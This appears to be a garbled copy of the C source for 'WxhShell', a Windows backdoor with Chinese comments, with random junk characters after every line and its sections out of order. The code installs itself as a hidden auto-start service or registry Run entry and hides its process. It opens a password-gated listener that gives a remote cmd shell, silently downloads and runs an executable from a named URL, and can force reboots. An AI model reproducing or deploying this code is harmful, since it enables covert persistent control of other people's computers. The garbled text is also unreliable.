    if(Boot(SHUTDOWN)) >!e<}84b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)Nj c&G  
    else { djQv[Vc {  
    closesocket(wsh); ]e:/"   
    ExitThread(0); E! /[gZ  
    } QR?yG+VU  
    break; 8rZ!ia!  
    } C F!Sa6  
  // 获取shell yZ]:y-1  
  case 's': { RT/o$$  
    CmdShell(wsh); oq/G`{`\  
    closesocket(wsh); {3a&1'a0g  
    ExitThread(0); XKL3RMF9r  
    break; 3gWvmep1  
  } aIy*pmpD=  
  // 退出 kB:Uu }(=N  
  case 'x': { 1[F3 Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sRVIH A ,  
    CloseIt(wsh); C-eA8pYY/  
    break; -Ue$T{;RoH  
    } \mM<\-'p  
  // 离开 |rw%FM{F  
  case 'q': { N(6|yZ<J3M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0X8t>#uF  
    closesocket(wsh); Eh</? Qv\  
    WSACleanup(); s>_V   
    exit(1); A$0H .F>  
    break; j!~l,::$"X  
        } Kyt)2p  
  } hD,:w%M  
  } in <(g@Zg  
$\o {_?}1  
  // 提示信息 DDT_kK;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GY3 Wj  
} ;rI@ *An  
  } 5V[oE\B  
ulT8lw='  
  return; WFR?fDtE  
} ^VW PdH/Fe  
]=rht9),"  
// shell模块句柄 C,V%B  
int CmdShell(SOCKET sock) bUV >^d  
{ ,)+ o  
STARTUPINFO si; Jk|Q`h  
ZeroMemory(&si,sizeof(si)); A61^[Y,dX_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M j-vgn&/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,H}_%}10  
PROCESS_INFORMATION ProcessInfo; vzzE-(\\e  
char cmdline[]="cmd"; RpG+>"1]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mOpTzg@  
  return 0; CZnK8&VDY  
} j hYToMq  
_LP/!D  
// 自身启动模式 N- e$^pST  
int StartFromService(void) 3P~o"a>  
{ @Q&3L~K"  
typedef struct I +5)Jau^S  
{ )M=ioE8`h  
  DWORD ExitStatus; I&?Qq k  
  DWORD PebBaseAddress; Xdi:1wW@p  
  DWORD AffinityMask; B!{d-gb  
  DWORD BasePriority; ~ * :F{  
  ULONG UniqueProcessId; AWjJ{#W>9  
  ULONG InheritedFromUniqueProcessId; ' K@|3R  
}   PROCESS_BASIC_INFORMATION; g 6]epp[8  
eAUcv`[#p  
PROCNTQSIP NtQueryInformationProcess; /-zXM;h  
hc (e$##  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0.$hn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :.(;<b<\  
uZa9zs=} c  
  HANDLE             hProcess; I{JU-J k|  
  PROCESS_BASIC_INFORMATION pbi; 4p%A8%/q  
bn 6WjJ~Z+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J{[n?/A{  
  if(NULL == hInst ) return 0; V^y^ ;0I}[  
')a(.f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5vo.[^ty  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j.a`N2]WE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jA".r'D%  
Z nFi<@UB)  
  if (!NtQueryInformationProcess) return 0; }nt* [:%  
G 6VF>2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &<zd.~N"  
  if(!hProcess) return 0; gh`m*@  
`&0Wv0D0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]v[|B  
b[z]CP  
  CloseHandle(hProcess); bNT9 H`P  
_'4A|-9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >+. ( r]  
if(hProcess==NULL) return 0; [{4 MR%--  
T0)4v-EO  
HMODULE hMod; js1!9%BV  
char procName[255]; y"]n:M:(  
unsigned long cbNeeded; y(R? ,wa=]  
YV=QF J'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2|\A7.  
&`b "a!  
  CloseHandle(hProcess); d0'J C*  
"5cM54Z0  
if(strstr(procName,"services")) return 1; // 以服务启动 k6`6Mjbc  
L lqM c  
  return 0; // 注册表启动 (F7(^.MG  
} j4=(H:c~E  
3+ >G#W~  
// 主模块 hF2IW{=!  
int StartWxhshell(LPSTR lpCmdLine) sNun+xsf^  
{ 'B+ ' (f  
  SOCKET wsl; &d7Z6P'`G  
BOOL val=TRUE; A^Kbsc  
  int port=0; +cb6??H  
  struct sockaddr_in door; .q+0pj  
zByT$P-  
  if(wscfg.ws_autoins) Install(); ceNix!P  
k X {0y  
port=atoi(lpCmdLine); \OlmF<~  
?UM*Xah  
if(port<=0) port=wscfg.ws_port; keRE==(D  
Em[DHfu1Q  
  WSADATA data; JNcYJ[wqv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j }b\Z9)!  
QMv@:Eo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lRh9j l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Uye|9/w8 !  
  door.sin_family = AF_INET; W0I#\b18  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bc3:}+l  
  door.sin_port = htons(port); fdONP>K[E  
;#w3{ NB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V I% 6.6D  
closesocket(wsl); Y^<bl2"y8  
return 1; +{sqcr1G  
} s/089jlc  
)O:0 ]=#))  
  if(listen(wsl,2) == INVALID_SOCKET) { 26CS6(sn  
closesocket(wsl); s+tGFjq  
return 1; OtFh,}E  
} zbJT&@z  
  Wxhshell(wsl); iR"N13  
  WSACleanup(); ;c$J=h]  
.k,YlFvj  
return 0; yDNOtC|  
HSq}7S&U  
} A 7[:5$  
'vNG(h#%d  
// 以NT服务方式启动 )8g(:`w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A$6$,h  
{ iiK]l   
DWORD   status = 0; EJ2yO@5O  
  DWORD   specificError = 0xfffffff; <FZ@Q[RP  
e}1uz3Rh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^pHq66d%Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s+>:,U<A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n]he-NHP  
  serviceStatus.dwWin32ExitCode     = 0; #m={yck *  
  serviceStatus.dwServiceSpecificExitCode = 0; T0]MuIJ).  
  serviceStatus.dwCheckPoint       = 0; _V`DWR *  
  serviceStatus.dwWaitHint       = 0; JU&+c6>  
g}]t[}s1]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # W"=ry3{  
  if (hServiceStatusHandle==0) return; ?6'rBH/w  
rj!0GI  
status = GetLastError(); 1'? 4m0W1  
  if (status!=NO_ERROR) R :B^  
{ _UuC,Pl3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `-LGU7~+  
    serviceStatus.dwCheckPoint       = 0; (Cq n6 dWK  
    serviceStatus.dwWaitHint       = 0; :%IoME   
    serviceStatus.dwWin32ExitCode     = status; 6-O_\Cq8  
    serviceStatus.dwServiceSpecificExitCode = specificError; m#=z7.XrX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ `7^+8vHV  
    return; 7 [0L9\xm  
  } sJNFFOz  
$ MC)}l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GgKEP,O  
  serviceStatus.dwCheckPoint       = 0; )p*}e8L  
  serviceStatus.dwWaitHint       = 0; .1LCXW=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $8BPlqBIZ  
}  W%\C_  
r7qh>JrO  
// 处理NT服务事件,比如:启动、停止 3do)Vg4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6uR^%W8]  
{ }NB}"%2  
switch(fdwControl) B$Kn1 k  
{ bV"G~3COy  
case SERVICE_CONTROL_STOP: p) +k=b  
  serviceStatus.dwWin32ExitCode = 0; n0is\ZK 0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m)oJFF  
  serviceStatus.dwCheckPoint   = 0; ^Ox3XC  
  serviceStatus.dwWaitHint     = 0; zl`h~}I  
  { Wl}&?v&@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -44&#l^}_u  
  } j)q\9#sI/(  
  return; &4_qF^9J  
case SERVICE_CONTROL_PAUSE: i&n'N8D@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /t(C>$ }p  
  break; &iV{:)L  
case SERVICE_CONTROL_CONTINUE: vhhC> 7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h yv2SxP*  
  break; A<y nIs<  
case SERVICE_CONTROL_INTERROGATE: `jOX6_z?I  
  break; P~ &$l2  
}; rXHv`k y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [<KM?\"1<  
} yDGVrc'  
GAAm0;  
// 标准应用程序主函数 {^N[("`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P67o{EdK  
{ 5scEc,JCi  
AoyX\iqQ  
// 获取操作系统版本 * oybD=%4  
OsIsNt=GetOsVer(); Qa.u Mq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &y#r;L<9  
VJS8)oI~  
  // 从命令行安装 +$Rt+S BD  
  if(strpbrk(lpCmdLine,"iI")) Install(); D|.ic!w'  
^4o;$u4R  
  // 下载执行文件 R=KQ  
if(wscfg.ws_downexe) { y a_<^O 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FJd]D[h  
  WinExec(wscfg.ws_filenam,SW_HIDE); qcT'nZ:  
} ,#8e_3Z$  
n..g~ $k  
if(!OsIsNt) { ^urDoB:  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q1z;/A$Al  
HideProc(); C$5[X7'  
StartWxhshell(lpCmdLine); OD_W8!-  
} _l1NKk  
else `ta7Gc/:UY  
  if(StartFromService()) *Aa?yg:=  
  // 以服务方式启动 !3ctB3eJ  
  StartServiceCtrlDispatcher(DispatchTable); %D[0nt|X  
else 5>TK^1 :  
  // 普通方式启动 \!ej<T+JR>  
  StartWxhshell(lpCmdLine); ^53r/V}%  
nakYn  
return 0; ERN>don2  
} wT{nu[=GH*  
LWt&3  
/Js7`r=Rx  
OiP!vn}k  
=========================================== n-@j5w+k4  
-xP!"  
q?ix$nKOv  
NhYLt w^u  
Q6r7.pk"SU  
Ct%x&m:  
" G2FXrkU  
J^g!++|2P  
#include <stdio.h> |.3DD"*  
#include <string.h> S)/_muP  
#include <windows.h> &sd}ulEg`  
#include <winsock2.h> G}G#i`6o  
#include <winsvc.h> j.@\3'  
#include <urlmon.h> U,.![TP  
z+>}RT]  
#pragma comment (lib, "Ws2_32.lib") WH \)) y-  
#pragma comment (lib, "urlmon.lib") VzKW:St  
9U%N@Dq`Z  
#define MAX_USER   100 // 最大客户端连接数 0MdDXG-7  
#define BUF_SOCK   200 // sock buffer YGsWu7dG  
#define KEY_BUFF   255 // 输入 buffer d09k5$=gJ  
cx0*X*  
#define REBOOT     0   // 重启 GbaEgA'fa  
#define SHUTDOWN   1   // 关机 Y"wUt &  
j ku}QM^  
#define DEF_PORT   5000 // 监听端口 g"> {9YE  
`FC(  
#define REG_LEN     16   // 注册表键长度 Kc^;vT>3  
#define SVC_LEN     80   // NT服务名长度 LoGVwRmoC  
Y(cGk#0  
// 从dll定义API W}]%X4<#rN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NSDv ;|f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =7o"u3hG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?%y?rk <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ) v,:N.@Q  
Ck|8qUz-  
// wxhshell配置信息 L;f!.FX#  
struct WSCFG { E\4 +_L_j  
  int ws_port;         // 监听端口 = MOj|NR [  
  char ws_passstr[REG_LEN]; // 口令 4%3M b-#Y]  
  int ws_autoins;       // 安装标记, 1=yes 0=no QhK#Y{xY  
  char ws_regname[REG_LEN]; // 注册表键名 SE~[bT  
  char ws_svcname[REG_LEN]; // 服务名 >lIk9|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PxS8 n?y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KFwzy U"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yu/`h5&*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |1>*;\o-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JC3m.)/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >L 0_dvr  
 1OF& *  
}; E3iW-B8u8  
:B:"NyPA  
// default Wxhshell configuration 6 M*O{f  
struct WSCFG wscfg={DEF_PORT, n= u&uqA*  
    "xuhuanlingzhe", &sL&\+=<(  
    1, ?28N ^  
    "Wxhshell", r|qp3x  
    "Wxhshell", *^wm1|5  
            "WxhShell Service", IDG}ZlG  
    "Wrsky Windows CmdShell Service", McQe1  
    "Please Input Your Password: ", 1cD! :[  
  1, u9EgdpD  
  "http://www.wrsky.com/wxhshell.exe", 6 jn3`D  
  "Wxhshell.exe" wD]/{ jw  
    }; s=QAO!aw  
F;<xnC{[  
// 消息定义模块 <>aw 1WM+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ={xE!"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oT>(V]*5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yn G_m]  
char *msg_ws_ext="\n\rExit."; 2mGaD\?K  
char *msg_ws_end="\n\rQuit."; q CnZhJ  
char *msg_ws_boot="\n\rReboot..."; wGP;Vbk  
char *msg_ws_poff="\n\rShutdown..."; LMAE)]N  
char *msg_ws_down="\n\rSave to "; p ObX42  
(X3Tav  
char *msg_ws_err="\n\rErr!"; x" L20}  
char *msg_ws_ok="\n\rOK!"; :FTMmW,>'  
e F3,2DD C  
char ExeFile[MAX_PATH]; { >)#HD  
int nUser = 0; G8Y<1%`<  
HANDLE handles[MAX_USER]; % V8U (z  
int OsIsNt; uD @#  
lH6OcD:kj  
SERVICE_STATUS       serviceStatus; +P`*kj-P\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kiu_JzD  
1jF`5k  
// 函数声明 F ;2w1S^  
int Install(void); cj'}4(  
int Uninstall(void); ]n~ilS.rkl  
int DownloadFile(char *sURL, SOCKET wsh); ~"kb7Fxp  
int Boot(int flag); n*{sTT  
void HideProc(void); <t \H^H!  
int GetOsVer(void);  N#a$t&  
int Wxhshell(SOCKET wsl); DRi<6Ob  
void TalkWithClient(void *cs); `,(,t n_  
int CmdShell(SOCKET sock); ZGKu>yM  
int StartFromService(void); uW} s)j.  
int StartWxhshell(LPSTR lpCmdLine); :dQ B R  
4k@5/5zsM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mh{1*T$fP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -K3^BZ HI  
^>hWy D  
// 数据结构和表定义 ='Y!+  
SERVICE_TABLE_ENTRY DispatchTable[] = zp%Cr.)$  
{ TO?R({yx*  
{wscfg.ws_svcname, NTServiceMain}, 7OJ'){R$  
{NULL, NULL} Gf<'WQ[  
}; ikv Wh<=>H  
qtQ6cq Ld  
// 自我安装 u*ObwcI/Bn  
int Install(void) ''\O v  
{ s pp f  
  char svExeFile[MAX_PATH]; x?2@9u8Yb  
  HKEY key; \}"$ ?d'f  
  strcpy(svExeFile,ExeFile); 9|gr0&#~j  
2h1vVF3  
// 如果是win9x系统,修改注册表设为自启动 O#S;q5L@  
if(!OsIsNt) { P n>Xbe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'DL`Ee\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t? yz  
  RegCloseKey(key); iCHOv{p.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e3nYbWBy]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P>NF.B Cq  
  RegCloseKey(key); g9Xu@N;bL  
  return 0; K+3IWZ&+dG  
    } 9{5&^RbCp  
  } %~2YE  
} g| vNhq0|i  
else { zU gE~  
|6K+E6H  
// 如果是NT以上系统,安装为系统服务 #\ X#w<\?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rp!oO>F  
if (schSCManager!=0) 4hTMbS_;  
{ C,ARXW1  
  SC_HANDLE schService = CreateService pH"#8O&  
  ( \ b?" b  
  schSCManager, vnM@QfN  
  wscfg.ws_svcname, P;qN(2L/=<  
  wscfg.ws_svcdisp, q#,f 4P  
  SERVICE_ALL_ACCESS, 7G}2,ueI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y6zbo  
  SERVICE_AUTO_START, IJ(  
  SERVICE_ERROR_NORMAL, 8{^WY7.'  
  svExeFile, @oV9)  
  NULL, <FcG oGK  
  NULL, e} P I^bc  
  NULL, XH}\15X  
  NULL, |ZRagn30  
  NULL lFV N07hG  
  ); 6i.-6></  
  if (schService!=0) j/_ s"}m{  
  { ]v]qChZHd  
  CloseServiceHandle(schService); jU9$Ehg I  
  CloseServiceHandle(schSCManager); d9;g]uj`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "AnC?c9?-^  
  strcat(svExeFile,wscfg.ws_svcname); uj R_"r|l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Nb[G)Xh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XkXHGDEf1  
  RegCloseKey(key); SEGri#s  
  return 0; @,cowar*  
    } ZaV8qAsP  
  } ['B?i1 .  
  CloseServiceHandle(schSCManager); zxbpEJzpn  
} MHX?@. v  
} $_o-~F2i5  
2\jPv`Ia  
return 1; LWz&YF#T-  
} / zB0J?  
=/y]d<g  
// 自我卸载 a1+#3X.  
int Uninstall(void) w[S pw<Z  
{ ^=RffrlZU  
  HKEY key; =u2l. CX  
]yx$(6_U  
if(!OsIsNt) { zMm#Rhn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4W#vP  
  RegDeleteValue(key,wscfg.ws_regname); |Lf"6^@yh  
  RegCloseKey(key); rvbLyv;~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @|63K)Xy  
  RegDeleteValue(key,wscfg.ws_regname); BGD8w2  
  RegCloseKey(key); ] 2eK  
  return 0; Nn~~!q  
  } jr /pj?  
} x7:s]<kE  
} C)@y5. G;  
else { gcPTLh[^Er  
T arIPp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,9}h  
if (schSCManager!=0) ES.fOdx  
{ aI6$?wus  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h]5C|M|  
  if (schService!=0) JORGj0v  
  { aB{vFTD5  
  if(DeleteService(schService)!=0) { )z73-M V"  
  CloseServiceHandle(schService); zr+zhpp  
  CloseServiceHandle(schSCManager); LcB]Xdsa(  
  return 0; +eyc`J  
  } s:/8[(A  
  CloseServiceHandle(schService); 0=* 8  
  } Ma.`A  
  CloseServiceHandle(schSCManager); [E!oQVY  
} aE&,]'6  
} m#PY,y  
Y^8C)p9r  
return 1; K?B{rE Lp  
} b\vKJ2  
)vjh~ybZ  
// 从指定url下载文件 ;V*R*R  
int DownloadFile(char *sURL, SOCKET wsh) }XV+gyG=@  
{ #(#Wv?r6  
  HRESULT hr; 4e~A1-  
char seps[]= "/"; #A1Z'y0  
char *token; %Y<|;0v  
char *file; u frW\X  
char myURL[MAX_PATH]; i'H/ZwU  
char myFILE[MAX_PATH]; n>+mL"hs  
ryW'Z{+r'  
strcpy(myURL,sURL); Hv sob  
  token=strtok(myURL,seps); &]e'KdXF  
  while(token!=NULL) s2'yY(u/  
  { q>$ev)W  
    file=token; DnCP aM4%  
  token=strtok(NULL,seps); -8:&>~4`  
  } Ghx3EVqnx"  
E^ P,*s  
GetCurrentDirectory(MAX_PATH,myFILE); q|o}+Vr  
strcat(myFILE, "\\"); DoJ\ q+  
strcat(myFILE, file); J&[@}$N  
  send(wsh,myFILE,strlen(myFILE),0); ,0*&OXt  
send(wsh,"...",3,0); t2F _uCr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k2c}3 MeP  
  if(hr==S_OK) 6x h:/j3  
return 0; xy5lE+E_U  
else ,&j hlZ i  
return 1; !46RGU:I  
k9  "[H'  
} WN{ 9  
cik!GA  
// 系统电源模块 4]G?G]lS>  
int Boot(int flag) @wpN6 /   
{ YQ+tDZY8`  
  HANDLE hToken; #MX'^RZ>2  
  TOKEN_PRIVILEGES tkp; ;> _$`  
ORyE`h  
  if(OsIsNt) { NO|KVZ~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iF-6Y0~8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u [m  
    tkp.PrivilegeCount = 1; ,uo'c_f(e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?u/@PR\D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pP*zq"o  
if(flag==REBOOT) { C\/xl#e<@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) co~Pyj  
  return 0; :=/85\P0SU  
} i@P)a'W_  
else { < ,Ue 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?o oe'V@  
  return 0; |uqf:V`z:  
} #w,Dwy  
  } 7ePqmB<.  
  else { 0vEoGgY0*:  
if(flag==REBOOT) { vy0X_DPCr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l)Pu2!Ic  
  return 0; 1<BX]-/tP  
} &<wuJ%'>)Z  
else { QW $G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oFy=-p+C  
  return 0; `tHvD=`m.  
} i`Q KH  
} |zQ4u  
P;P%n  
return 1; 0~ZFv Wv  
} lJu;O/  
J?RabYd ~  
// win9x进程隐藏模块 KNS.Nw7  
void HideProc(void) B:gjAb}9T  
{ /4a._@1h[y  
(8Bk;bd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x^kp^ /f  
  if ( hKernel != NULL ) &xa(BX%,c  
  { .q%WuQw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B8B; y^b>i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b4E:Wn9x  
    FreeLibrary(hKernel); lV1G<qP  
  } [`^a=:*  
,_Z5m;  
return; POdUV  
} }\HN&@  
* mOo@+89  
// 获取操作系统版本 eZ|%<Wpu  
int GetOsVer(void) \hBG<nH{0  
{ NdL,F;^  
  OSVERSIONINFO winfo; 62O.?Ij  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `S6x<J&T\/  
  GetVersionEx(&winfo); Sx?ua<`:d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JHz [7  
  return 1; 5]n[]FW  
  else V}dJ.I /#  
  return 0; FrTi+& <  
} AWP"b?^G|  
]|MEx{BG-  
// 客户端句柄模块 .Xce9C0SW  
int Wxhshell(SOCKET wsl) ( M7pT  
{ Z @^9PQG$  
  SOCKET wsh; Qp/QaVQ+  
  struct sockaddr_in client; Tav*+  
  DWORD myID; H*[ M\gN$  
X:6c}p%,!  
  while(nUser<MAX_USER) ``ou/Z  
{ JBJhG<J  
  int nSize=sizeof(client); W_kHj}dj,p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kPVO?uO  
  if(wsh==INVALID_SOCKET) return 1; LL2=&VK  
lrv3fPIW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -amBB7g  
if(handles[nUser]==0) Zrvz;p@~  
  closesocket(wsh); a#>Yh;FA  
else MC<PM6w  
  nUser++; _(h&7P9  
  } zx-81fx+k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \De{9v  
c- }X_)U }  
  return 0; c17_2 @N  
} _tBTE%sO  
8ELCs<xI  
// 关闭 socket sC='_h  
void CloseIt(SOCKET wsh) TMig-y*[  
{ poToeagZ~Q  
closesocket(wsh); 5\e9@1Rc  
nUser--; w,h`s.AN  
ExitThread(0); JKGc3j,+#  
} Vm3v-=6  
R~)\3] "2m  
// 客户端请求句柄 %@.v2 cT  
void TalkWithClient(void *cs) kg'o&^/=  
{ {vuZ{I Ja  
;j^H)."A\  
  SOCKET wsh=(SOCKET)cs; cUvz2TK  
  char pwd[SVC_LEN]; `-3O w[  
  char cmd[KEY_BUFF]; 1XD,uoxB  
char chr[1]; a{R%#e\n  
int i,j; P %#<I}0C  
Z@3i$8  
  while (nUser < MAX_USER) { ynE)Xdh  
kP-3"ACG  
if(wscfg.ws_passstr) { 7PtN?;rP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^R# E:3e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~ok4L?VB  
  //ZeroMemory(pwd,KEY_BUFF); 3+@<lVew6  
      i=0; E;+O($bA  
  while(i<SVC_LEN) { LN@F+CyDc  
|NpP2|4h  
  // 设置超时 Zg'Q>.:  
  fd_set FdRead; XDFx.)t  
  struct timeval TimeOut; ~zJ?H<>  
  FD_ZERO(&FdRead); Ib+Y~ XYR  
  FD_SET(wsh,&FdRead); V+VkY3  
  TimeOut.tv_sec=8; 4<k9?)~(J  
  TimeOut.tv_usec=0; /+@p7FqlE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MM (xk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X4 A<[&F/  
q U]gj@R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kzt(i Y_6  
  pwd=chr[0]; <})2#sZO!  
  if(chr[0]==0xd || chr[0]==0xa) { 9Hf9VC3   
  pwd=0; v"#mzd.tW  
  break; X22[tqg;&  
  } k +H3Bq  
  i++; (=* cK-3  
    } R,pX:H&#+  
TrLu~4  
  // 如果是非法用户,关闭 socket U$_xUG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ xft  
} >D(RYI  
+\F'iAs@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A^)?Wt%*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bdQ_?S(  
d` jjGEj  
while(1) { qzf!l"bT  
2T V X)q<\  
  ZeroMemory(cmd,KEY_BUFF); m^GJuP LW  
Si6al78  
      // 自动支持客户端 telnet标准   L IZRoG8  
  j=0; ha(Z<  
  while(j<KEY_BUFF) { .y@oz7T5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] :BX!<  
  cmd[j]=chr[0]; sB c (gr  
  if(chr[0]==0xa || chr[0]==0xd) { Q\ U:~g3  
  cmd[j]=0; iZaI_\"__  
  break; !f&Kf,#b`  
  } :=wT vz  
  j++; }j*KcB_  
    } N6 (  
(^u1~1E 5  
  // 下载文件 (`sH3&Kl  
  if(strstr(cmd,"http://")) { "CUty"R 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1n:8s'\  
  if(DownloadFile(cmd,wsh)) ?<(m 5Al7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^U#Qj)hL  
  else e S<lwA_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -3;*K4z$/  
  } SRrw0&ts  
  else { @@8J6*y  
#m{UrTC  
